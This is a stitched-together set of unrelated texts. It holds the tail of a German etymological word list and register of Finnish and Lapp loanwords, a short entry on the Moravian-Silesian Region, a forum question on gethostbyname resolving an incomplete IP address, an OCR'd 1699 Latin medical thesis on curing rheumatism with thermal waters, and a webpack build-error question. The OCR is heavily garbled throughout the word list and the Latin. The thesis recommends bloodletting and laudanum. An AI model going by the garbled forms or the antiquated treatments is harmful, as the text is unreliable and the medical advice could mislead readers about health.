vievses nw.-L; sw.-l. vepses, vepsa, vespa (74) , = nw.
kveps, kvefs. Von zweifelhaftem alter.
vihin, vihkiin, inf. -hkiä, -hitä, f.; nw.-L vihhat,
vihatet, en.-L vihkad (nach dem finn.) , sw.-L viget,
consecrare, inaugurare ; • f . v i h k i , nw.-L vihha, ritus
consecrationis (65) , Yg\. got veihs , ayiog, veikan, ayidueiv,
an. vigja; ahd. tvthT, wiha, sanctitas, dedicatio, mhan,
viikko f.; russ.-kar.; nw.-L vakko (vokko d. h. väk-
ko), hebdomas (47. 93), = got. viko, an. vika.
viina f.; ehst. wIn, gen. -a, L vidne, vine, wein, brannt-
wein, weps. vin, gen. -an, wot. vi na, branntwein, liv.
vin, pL -od, wein (44. 77), =^ got. vein, an. vin (vgL
jedoch auch lit. vynas, russ. bhho vino).
viisas f; gem.-L vises, sapiens; russ.-kar. viizas, wot.
visas, ehst. wlzas, astutus (44. 75) = got -veis, an.
viss.
viisi f., wot.; ehst. wiz, liv. viS, modus, = sw. vis, nd.
wtse.
vikkim (för *viekkim), inf. -kkit, nw.-L; sw.-L viket,
ponderare (davon vie kko, nw. väg), = an. vega.
virka f.; nw.-L virgge, en.-L virge, sw.-L virke,
negotium, munus (44. 63. 64), = an. verh^
visses gem.-L, certus (44. 75), = got. vis (an. viss). P.
vissi ist neuere entlehnung aus dem sw.
vitja f.; weps. vidj, gen. -an, sw.-L vid ja (entlehnt aus
dem f.), catena, torques (44. 67. 82) = an. viä^ pl.
'jar fem.
vuobam, inf. vuoppat, nw.-L, exclamo, plangorem
magnum edo (Leem. — 58. 64. 98), = got. vöj^an,
an. (Bpa.
Wortverzeichniss. 185
vuokra, voura f., pretium conducti, usufa pecunise
(davon vuokrata, vourata, conducere, locare, com-
modare usurse. — 58. 68. 75), = got. vökrs, roKog^ an. oJcr.
vuoksa, vuofsa gem.-l.; sw.-L auch vuokses, bos,
taurus (58. 92) == an. uxi, got. auhsa,
vuolle s nw.-, sw.-l., mitis, benignus, = an. hollr^ got.
hidps?
vuolppo nw.-, SW.-1., stola muliebris (62. 93) = an. ölpa.
vuoncca, vuönces nw.-, sw.-l. (Leem vuonses), gal-
Iina, gallus (78. 88) = an. kcens pl.
JLitif., mater, rev.-ehst. eideke, mutter, mütterchen (49.
95),=. got. aipei, ahd. eidt. Das echte wort ist f., wot.
emä, ehst. ema, liv. jema.
ämpäri f., ehst. ämber, nw.-, sw.-l. cebhar^ ebhir, ebber,
situla lignea minor, == sw. ämbare, älter cenibar, cember
(Eydqvist III, 259), nw. embcer, anibar, aembar (ahd.
einpar).
äyri f.; en.-l. sevri, numus sereus minimus, öre (54. 81),
= an. eyrir^ altsw. örir, öri^ im Gutalag oyri.
Register.
I. Finnisch (nebst ehstniscli u. dgl.).
(Aisa 39.)
(ankerias 80).
asnata s. ansaita.
(Haaksi 39.)
(halla 69. 79.)
hamina 69. 71.
(hammas 73.)
(hanhi 83.)
(harja 80.)
hauli 69. 70.
(heinä 22. 33.)
hepo 68.
(herne' 48. 80.)
holli 47.
holvi 59. 63.
housut 45. 93.
huilata 59.
huivi 59.
Jätti s. jetanas.
KaaU 43. 70.
kaapu 43. 64. 93.
kaha s. garre.
kahveli 65.
(kakla 73.)
kalkita 96.
kalkki 96.
(kalma 39.)
(kankuri 41.)
karilas s. gales.
katu 64. 93.
(kaula = kakla.)
keila 69.)
keisari 49.
(keli 80.)
kel'm ehst. 60. 71.
kelmi 60.
(kenkä 39.)
keppi 60.
ketju 54.
kiivu 63.
kinkku 60. 61.
(kirves 80.)
klupu s. sluhho.
kori 64.
korppi 44. 70.
korv ehst. 71.
(kota 40.)
(koukku s. roakke.)
koulu 45.
kreivi 49. 92.
krouvi 45. 64.
kuiskata 59.
kuisti 59.
kuitata 59.
kuppi 44. 70.
(kurdis weps. 80. 84.)
(kuulen 2.)
kun ehst. 60.
kärid ehst. s. skärrek.
(kärme 21. 48. 80.
vgl. mato.)
kärry 54.
(käsi 41.)
(Laiha 33.)
lakk ehst. 71.
lakka 71.
lamppu 62.
lasi 70.
leikitä 96.
leikki 49. 70. 96.
leili 69.
leiri 69.
liht ehst. s. livtes.
liivi 63.
likka 93.
(lohi 55.)
iupu = klupu.
lyökki s. laukka.
lääkäri 54. 94.
Maalari 94.
maalata 96.
(maania 96.)
mako s. maha.
(maku s. smakka.)
maru s. marfe.
masti, masto 71.
meikata 49.
meinata 49. 97. Vgl.
mainitsen,
meininki 70.
(melnits weps. 101.)
meru s. marfe.
(mesi 2.)
(metsä 80.)
miettiä 96.
mör' ehst. 92.
(morsian 55. 74. 80.)
moukari 45.
muori 92.
muoto s. muotti,
muuri 45. 70.
mür' ehst. 71.
märä s. mera.
Nepas s. nasppe.
niiata 64. 97.
*) Diess register umfasst namentlich solche im vorhergehenden beson-
ders besprochene werte, welche nicht in das wortverzeichniss aufgenommen
sind. Die zahl bezeichnet die seite der dän. ausgäbe. Verweisungen mit
= beziehen sich auf diess register , mit s. oder vgl. auf das wortverzeich-
niss. In parenthesc stehen diejenigen worte, welche nicht aus den ger-
manischen sprachen entlehnt sind.
Eegister.
187
(nimi 2.)
nyöri s. nuora.
(Oas s. ota.)
(ohra, otra s. ota.)
oh wer ehst. G5.
(oinas 55. 73.)
(oka s. ota.)
(olut 55. 88.)
Paarre' s. parras,
paatsa s. patja,
(paimen 5. 33.)
paljo 52.
pannu 93.
peikko 52. 53.
peili, pelti 52. 53.
penkki 54. 70.
peruna 94.
(pieksut 39.)
piina 93.
piippu 93.
(pll weps. 101.)
pilkka 59.
pilu 52. 53.
(pirtti 83.)
pispa, auch piispa
71.
(poika 70.)
portti 44.
porvari 64.
(posteli weps. 101.)
pottu 44.
provasti s. rovasti,
pukki 44. 70.
pusa 45. 47. 92.
pyssy 1)3.
pöyliä 51.
pöysti 54. 81.
Rakki 92.
rakut s. ruoko',
rapu 64.
(ratas 73.)
rehti s. riefta.
reisu 49. 93.
reivi = kreivi,
(repo 40. 102.)
reppu 59. 62. 93.
(riähka , räähkä kar.
101.)
rotta 44
rouvi = krouvi,
rumpu 62.
Ruotsi 107. .
ruuni 45. 70.
ruusu 45.
ryöväri 51.
Säl' ehst. 84.
sali 4^. 84.
(sata 2.)
(sauva 59.)
seilata 69.
fseinä 34.)
(seula, siekla 21. 68.
(siemen 5.)
(sisar 92.)
sivu 64.
soma s. suobme.
(sota 40.)
(Suomi 7. 12.)
(suuri s. stuores.)
synti s. stiddo.
(Taivas 11. 34.)
tauko s. staggo.
(tarha 73.)
taulu 69.
tavaan, tavata 97.
(tavara 105.)
teini 52.
tiakka 52.
tienata 52. 97.
tihiä, tihtiä s. divtes.
tiili 69.
tika 44.
tiktu 93.
tikkuri 69.
tiu 51.
toki s. dauk.
tori 44. 64. 88. 105.
torppa 44.
touvi s. toakke.
töver ehst. 71.
trumpu == rumpu,
(tuhat 3.)
tuhla 64.
tukki s. stokke.
tulkki 45.
tuoli 45. 59. 70.
tuorstai, torstai 45.
tupakki 45.
tuppaan 45.
(turku 88. 105.)
(tuumata 96.)
(tyhjä 80.)
(tytär 92.)
tyyny 54.
tyyris s. tiuris.
(Udin 83.)
uhri 45.
urut 45.
uuni 69. 70.
Vaali s. valitsen.
vaara 56.
vaari 92.
vahti 70. 84.
vaku 62.
vangita 96.
vanki 43. 56. 92. 96.
vasta 59.
varvaan s. sorvaan.
vati 56. 64. 70.
vaunu 69. 89.
(vesi 2.)
viikuna 94.
vüla 56. 71. 101.
viili 56. 70.
vii' ehst. 71.
vokki s. rukki.
(villa 69. 79.)
(vuohi 58.)
vuori s. huotra.
väri 56. 64.
värsy 71.
väskynä 94.
Yrtti s. urtas.
(Zakona kar. 101.)
Ayskäri s. auskari.
Oysti = austi.
(Ajbme 40.)
ajbmo s. heimo,
asso s. ahjo.
Badde s. panta.
bieUo, bjaello 52. 65. 93.
birdna, birdne 52. 89.
bitta 44. 70.
II. täppisch.
boadnja 92.
boanda 91.
bokka 44. 70.
bovddit 51. 97.
brukit 97.
hukka = bokka.
bsenkka 54. 70.
Dadne s. tina.
dimbar 66.
drauga 6n. 70.
drivkes 75.
draenga 66.
Dujsklan 54.
duofto s. tuhto.
188
Berater.
duorasdak 45. 90.
(dasse 80.)
Fac(ca) s. vanttu.
fakta =»= vakta.
Mno s. vidno.
fjevridet, fjivridet 54.
fiasko GG.
fsesko 58.
fsBsta = vaesta.
Gagga 62.
(garjel 107.)
garven s. kumina,
gavnek 69.
ga^^e s. kansa,
gierra s. garre.
gifse, gikse s. kiusa,
gjelle 52. 71.
gjevkan 54. 56.
glassa 59. 70.
goarppa 44. 71.
gruonas s. ruonas.
gruto 54.
gukse 71.
guödda 44. 92.
gserra s. garre.
gaeula 51.
Hagan 54.
hajka s. ajka.
halsi 54.
havlla 71.
hejwit 54. 98.
hüddo 57.
hufsit 45.
hurtas s. urtas.
hsesta 71.
hffival s. höylä.
Ilddo = hilddo.
Keres 76.
kjef manne s. kauppe.
kjefkan = gjefkan.
klacce s. laufca.
kluokkar s. lukkari,
krimo s. riimu,
kruossa s. ruossa.
Labes s. lammas,
lakkula 54.
lamppa 62.
lasko = fiasko,
lassa = glassa.
latto s. ladas.
lause s. löysä,
lieppe 62.
llto 54. 61.
lonnit s. lunastan,
luovos s. löysä,
lißjkaset 98.
la&jkka 49. 71.
lißjra 69.
Mierkka^ mirkka s.
murkko.
misso 54. 98.
moallo 44. 92.
muotto s. muotti,
(ma&cce 80.)
Nova 55. 71.
OaflFar 44. 65.
omasse 54.
Freutet s. rievdam.
(Eaingo 41.)
rauga = drauga.
rejso 49. 93.
ridda 91.
rldet 98.
riegges s.
rjevar 51.
roklgel s.
rujto 54.
ruolla 55.
ruossalas
ruo{>|)alas
ruövdde s
raenga =
rengas.
lukkara.
93.
60. 71.
107.
107.
rauta,
drsenga.
Saddo s. santa,
sivlle 69.
sjart 60.
skajdda s. kaide',
skierak s. skSrrek.
skittar = skuttar.
skoaddo 44. 62.
skuovva 68. 71.
skuttar 54.
skffirak s. skSrrek.
slauöa s. laufca.
slikt s. livtes.
smavva 68.
smiettat 96.
spjerbam s. sorvaan.
spsBJal s. peili,
stoalppo 44. 92.
stukka 54.
stuollo 45. 71.
(suojdne 33.)
suokkan 45. 69.
suokno 86.
(saejdne 34.)
S8ev(a) 51.
Truolla = ruolla.
üdnot 98.
Vac(ca) s. vanttu.
vakta 58. 71.
vanes s. vadne.
viste 71. 86.
yjerbam s. sorvaan.
vuol(a) 88.
vuoppat 57.
vuordne 57. 78.
vuosta s. juusto.
V8ßdtja 60.
vsega 60.
VBBrjo s. varjo,
vsesta 58.
^vdar s. autia.
Halle, Buchdruckerei des Waisenhauses.
1
(
7
|
The Moravian-Silesian Region is an administrative unit (kraj) of the Czech Republic. The capital city is Ostrava.
Administrative division
The Moravian-Silesian Region is divided into 6 districts, in which are 300 municipalities:
References
2001 establishments in Europe
Regions of the Czech Republic |
<p>I am using this snippet of code I found in <a href="http://www.kutukupret.com/2009/09/28/gethostbyname-vs-getaddrinfo/" rel="nofollow">http://www.kutukupret.com/2009/09/28/gethostbyname-vs-getaddrinfo/</a> to perform dns lookups</p>
<pre><code>#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(int argc, char *argv[ ]) {
struct hostent *h;
/* error check the command line */
if(argc != 2) {
fprintf(stderr, "Usage: %s hostname\n", argv[0]);
exit(1);
}
/* get the host info */
if((h=gethostbyname(argv[1])) == NULL) {
herror("gethostbyname(): ");
exit(1);
}
else
printf("Hostname: %s\n", h->h_name);
printf("IP Address: %s\n", inet_ntoa(*((struct in_addr *)h->h_addr)));
return 0;
}
</code></pre>
<p>I am facing a weird fact</p>
<pre><code>./test www.google.com
Hostname: www.l.google.com
IP Address: 209.85.148.103
</code></pre>
<p>works fine, but if I try to resolve an incomplete IP address I get this</p>
<pre><code>./test 10.1.1
Hostname: 10.1.1
IP Address: 10.1.0.1
</code></pre>
<p>I would expect an error like the following</p>
<pre><code>./test www.google
gethostbyname(): : Unknown host
</code></pre>
<p>but the program seems to work.</p>
<p>Any idea why?</p> |
T
QU^STIO MEDICA,
.,'i . i
QV0DLJBETARI1S D IS P VTAT JO N1B V S
mane di/cut ienda , in Scholu Me dicorum a die Joy is
decimd Decembns.
M. JACOBO MINOT, Do&ore Medico,
Pnefidc, Sereniflimi Principis Ducis Borbonii,
Medico ordinario.
An Rheumatifmo Thermo f
1 .
C O M P R E S S A folvere , foluta comprimere mcdi>-
cina eft. Medicus nature minifter fagaci cau/arum
indagatione rfiorborum curationcm molitur : Ignoti
morfei curatio nulla, hinc multi infanabilcs morbi
quia fugiunt intellcdum, forfan quia plurimi Medici fuis fpc-
eulationibus fiuperbientes aliorum experimenta & obfervatio-
nes dcfpiciunt, & (arancarum inftar quae cun da ex fe edu
cunt fifa) fingularem fibi fingunt medendi methodum 5 Qiiis
adeo fadici natus ingenio, ut omnium invaletudinum notitiam
panaceamque conlequatur ? Exortem culpx medicum nulla
tulit aetas nec feret 5 Magno ingenio convcnit etiam fimplex
veri errorisconfeflio. Qiii gulam putant omnium xgritudinum
metropolim, nefeiunt quam vitiofa malorum progenies a cura
rt un jugo prodeat: Ergo fi bonx valetudinis tuendx fis folli-
e itus , a tergo nulla ledeat atra cura, fit tibi eondimentum
fames, nec mifeeas afiis elixa, conchilia turdis. Cane pejus &:
ar >gue potiones egelidas fugito 5 ftygix funt illx, qua; fpiritus
Stales fuffocando codionis ofiicinas evcrtunt,(uccos impuros
ctudolque alendo corpori imparcs generant. Procul hinc me-
dicaftri, qui praefervidam vifcerum intempcriem ream credunt
cujuflibet a;gritudinis. A calore vita, afrigore lethi neceffitas.
Frigidi funt &. inertes libitina: pedifequi, hos inter Choreas
ducurtt arthritic! & Rheumatifmis obnoxii , quorum affe&us
ipfeartes Dardankc repellere non valebunt, fi in focietatem
operis non accerfant fudorifera.
I I.
H UM ORIS decubitus in partes externas qui dolorcs
parit erraticos, is Rheumatiimi nomen obtinuit ; atha’C
appellatio ftricta non eft obfervacionis , neque folum partes
ignobile-s & pomaria corporis Rheumaticus dolor occupat,
fed & penitiora fubit adita , ruit fepenumero in veficam,
lancinat inteftina, pleuram pungit , &: in ipfo jecore fyftro-
phicas mentitur inflammationes. Lafcivienti cuilibet humori
dolores Rheumatifmi defiiltorios non aflignato. Errant igitur
qui ferocienti bili aferibunt dolorcs articulorum & Rheuma-
tiftni. Nec artuum cruciatus, nec rriotus impotentia ab hu-
more velociffimo. Acidus humor cum focio phlegmate tena-
citer adharens partibus, caufa eft Rheumatiimi: Inde prima
mali labes. Intemperata moles fanguinea & acido plurimo
(ut liepe fit) impragnata, inordinate liias agit reciprocationesj
lento incedit gradu & inertem fuccum acido imbutum corpori
fubminiftratj verum acidus ille humor dum flu&uat in majo-
ribus vafis vi caloris innati, aut, quod idem eft, vitalis fpiri-
tus cnergia fluorem adipifeitur, ubi vero a caloris fonte rcce-
dit & minima fubit vafa, fui juris fachis concrefcit, &c in par¬
tibus extimis ( mufeulis fcilicer & membranofb genere ) fuos
figit aculeos, & fibi condit ftationes malefidas, ubi ftabulantur
Rheumatifmorum & arthritidis faevi parentes.
I I I.
P URGARE qua; vclis corpora , fluxilia reddas , incu^
ncatos igitur partibus humores intempeftivo medica*
mento avcrruncare ne fatagas * Concocta medicari oportet.
ComprcfTorum folurio cocfcio eft. Varii funt Coiftionis grades
&modi, ficut varius fermentationis motus, is fi immodicus,
febris eft : earn qui peregrinum calorem vocant , peregrin
funt , fermentationi ancillatur diaphorefis , qua: balfamieis
pirituofis nitroque fulphureisauxiliantibus maturat, fiuidofqe-
reddit hum ores, placide per fpiracula cutis educit, 5c hac
medicatio eft : fed revocare gradum nefas ducimus , Rheu¬
matifmi materies irremeabilis , ftare loco fciens nova non
quarit hofpitia. Illius eliminationem moliri per alvinas regio-
nes, valde incongruum 5 ab alvi laxitate cutis denfitas, Lee
magnum Rheumatifmo medentibus impedimentum.
I V.
P A R U M verfati flint in leclionefacra feriptura, aut ma-
lignum eft cor eorum qui thermis malignam vim • tabi-
ficam Sc deficcantem affignant y quad pluvia foie Sc fale calens
marcorem inducat plantis. Quis nefeit viridem ^tgypeum Nili
nitrofis aquis fuam debere fcecunditatem ? Thcrmarum fontes
innumeri , palmaria funt Borbonienfes arcimbaldica , qua:
concinna Sc arnica combinatione falium cum fulphure fugaci
Sc admodum volatili faturata funt. Has dotes acquifivere cur-
rendo per cacos terra meatus ubi mineram fulphuris con-
creti na&a, folvuntejus compagem , particulafque fulphureas
8c volatiles per totum liquorem effundunt, unde fermentatio
8c calor ille gratus quo non falubrior alter, flc in calcis Japide
particulis igneis admodum faturato, ftatim atque moles Iapi_
dis immerfione aqua deftruitur, ignea corpufcula illic incar-
cerata qua data porta ruunt, Sc aqua calorem intentiffimum
mfundunt. Therma vero Borbonienfes ex aqua naturalique
falium nitri Sc vitrioli fermentatione cum fulphure vires ha-
bent nitro-fulphureas, quo nomine ecphradica fiunt Sc dia-
phoretica, hinc tenuitate partium Sc volatilitate qua pollent
humores acidos, tenaces Sc fixos, Rheumatifmi caufam, fol-
Vttnt, folutos eliminant.
R HEUMATICOS affedus qui fanare cupit , petat
fudorifera , huic indicationi tutius fatisfaciet ft prius
, nfpiciat anni conftitutiones Sc vices, medicinam indigenam
£ onfulat, apprimefeiat fecretiontim theoriam, quis fit humor
c uilibet incerniculo proprius, quanam folidarum partium cra¬
fts, quis Iiquidarum motus : Mireris quantum opus medenti
ftpeumbat, Sc quanrlaboriofa Sc arumnarum plena exercita-
bo artis Apollinea >. Agedum aggredere Rheumatifmi ftimu-
Ls, & aulpicarc mcdelam vena fedione, ut plethora facias
fatis , liberiorque fiat fanguinis circuitus, Wanda catbarfi illu-
vierh primarum viarum expelle, utfacilius& p'urius fitreme-
diorum commercium ? fic tutius indulgebis potionibus the,
decodo fafTafras & cortieis peruviani cum laudano. His auxi-
liis, fepe fregimus Rheumatifmorum aculeos 5 fi vero nimiumt
pertinax fttRheumatifmus, confuge ad aquas arcimbaldenfes
velut ad facram anchoram j illic non attonitus ternos ter cya-
thospete, nullum pondus aut naufeam in flomacba, nullos in
pracordiis adlusfenties, breviffima ilia mora omnes partium
vias & Ambages permeando a fiiis inquinamentis expedient,
fanguineam molem virtute mtro-fulphurea qua pollentreno-
vabunt, Iiquatis & in fugam verbs blanda diaphorefi, acidis
inimicis j totamquepaginam adimplebis fifocias addideris bal-
neationes, qua fordes cutis eluendo ardiores poros referabunt,
& hae arte virtus aqua rum balfamica, toni partium repara trix
focilius intus ibit.
Ergo Rheumatijmo Therm#.
Domini Dodorcs difputaturi.
M. Alexius Littre. M. Ludovicus de Vaux. M. Prancifctts A forty.
M. Fbihppus Ignatius Save. M. Petrus Marais, M. Germanus Preaux , Pro -
fefor Regius.
M. Petrus Joannes Burette. M. Carolus Contugy. M. Petrus Daquin.
Proponebat Parifiis CLAUDIUS TRICHARD;
Pacicus Ebroi'cenfis, A. R, S. H. 1699.
Apud Francifcum Muguet, Regis &Facultatis Medicina
Typographum.
|
<p>Ok, So basically We use webpack to bundle our resources before deployment. However, now we want to also bundle our sass files through webpack is it simplifies our build process.it was going well, but now bundle.js is too big to deploy on production so I wanted to split bundle.js and styling files. I don't much know about plugins and all ,so I searched a little bit and found that mini-css-extract-plugin lets me split style files into a new file. So I went and tweaked the web-pack.config file according to the docs of
mini-css-extract-plugin but I am getting so many errors. Can somebody guide me to split styles file and extract it from bundle.js?</p>
<p>error :</p>
<pre><code>ERROR in ./node_modules/normalize.css/normalize.css
Module build failed (from ./node_modules/mini-css-extract-plugin/dist/loader.js):
ReferenceError: document is not defined
at insertStyleElement (D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\node_modules\normalize.css\normalize.css:309:15) at addStyle (D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\node_modules\normalize.css\normalize.css:424:13)
at modulesToDom (D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\node_modules\normalize.css\normalize.css:297:18)
at module.exports.module.exports (D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\node_modules\normalize.css\normalize.css:455:25)
at Object.<anonymous> (D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\node_modules\normalize.css\normalize.css:206:14) at __webpack_require__ (D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\node_modules\normalize.css\normalize.css:21:30) at D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\node_modules\normalize.css\normalize.css:85:18
at Object.<anonymous> (D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\node_modules\normalize.css\normalize.css:88:10)
at Module._compile (D:\ReactJs-Projects\Expensify-app\node_modules\v8-compile-cache\v8-compile-cache.js:194:30)
at evalModuleCode (D:\ReactJs-Projects\Expensify-app\node_modules\mini-css-extract-plugin\dist\loader.js:61:10)
at D:\ReactJs-Projects\Expensify-app\node_modules\mini-css-extract-plugin\dist\loader.js:166:21
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compiler.js:343:11
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compiler.js:681:15
at AsyncSeriesHook.eval [as callAsync] (eval at create (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:15:1)
at AsyncSeriesHook.lazyCompileHook (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\Hook.js:154:20)
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compiler.js:678:31
at AsyncSeriesHook.eval [as callAsync] (eval at create (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:6:1) at AsyncSeriesHook.lazyCompileHook (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\Hook.js:154:20)
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compilation.js:1423:35
at AsyncSeriesHook.eval [as callAsync] (eval at create (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:6:1) at AsyncSeriesHook.lazyCompileHook (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\Hook.js:154:20)
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compilation.js:1414:32
at eval (eval at create (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:11:1)
at D:\ReactJs-Projects\Expensify-app\node_modules\terser-webpack-plugin\dist\index.js:321:9
at TaskRunner.run (D:\ReactJs-Projects\Expensify-app\node_modules\terser-webpack-plugin\dist\TaskRunner.js:48:7)
at TerserPlugin.optimizeFn (D:\ReactJs-Projects\Expensify-app\node_modules\terser-webpack-plugin\dist\index.js:227:18)
at AsyncSeriesHook.eval [as callAsync] (eval at create (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:7:1) at AsyncSeriesHook.lazyCompileHook (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\Hook.js:154:20)
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compilation.js:1409:36
at AsyncSeriesHook.eval [as callAsync] (eval at create (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:6:1) at AsyncSeriesHook.lazyCompileHook (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\Hook.js:154:20)
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compilation.js:1405:32
at AsyncSeriesHook.eval [as callAsync] (eval at create (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:6:1) at AsyncSeriesHook.lazyCompileHook (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\Hook.js:154:20)
at Compilation.seal (D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compilation.js:1342:27)
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compiler.js:675:18
@ ./src/app.js 10:0-37
ERROR in ./node_modules/react-dates/lib/css/_datepicker.css
Module build failed (from ./node_modules/mini-css-extract-plugin/dist/loader.js):
ReferenceError: document is not defined
at insertStyleElement (D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\node_modules\react-dates\lib\css\_datepicker.css:309:15)
at addStyle (D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\node_modules\react-dates\lib\css\_datepicker.css:424:13)
at modulesToDom (D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\node_modules\react-dates\lib\css\_datepicker.css:297:18)
at module.exports.module.exports (D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\node_modules\react-dates\lib\css\_datepicker.css:455:25)
at Object.<anonymous> (D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\node_modules\react-dates\lib\css\_datepicker.css:206:14)
at __webpack_require__ (D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\node_modules\react-dates\lib\css\_datepicker.css:21:30)
at D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\node_modules\react-dates\lib\css\_datepicker.css:85:18
at Object.<anonymous> (D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\node_modules\react-dates\lib\css\_datepicker.css:88:10)
at Module._compile (D:\ReactJs-Projects\Expensify-app\node_modules\v8-compile-cache\v8-compile-cache.js:194:30)
at evalModuleCode (D:\ReactJs-Projects\Expensify-app\node_modules\mini-css-extract-plugin\dist\loader.js:61:10)
at D:\ReactJs-Projects\Expensify-app\node_modules\mini-css-extract-plugin\dist\loader.js:166:21
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compiler.js:343:11
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compiler.js:681:15
at AsyncSeriesHook.eval [as callAsync] (eval at create (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:15:1)
at AsyncSeriesHook.lazyCompileHook (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\Hook.js:154:20)
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compiler.js:678:31
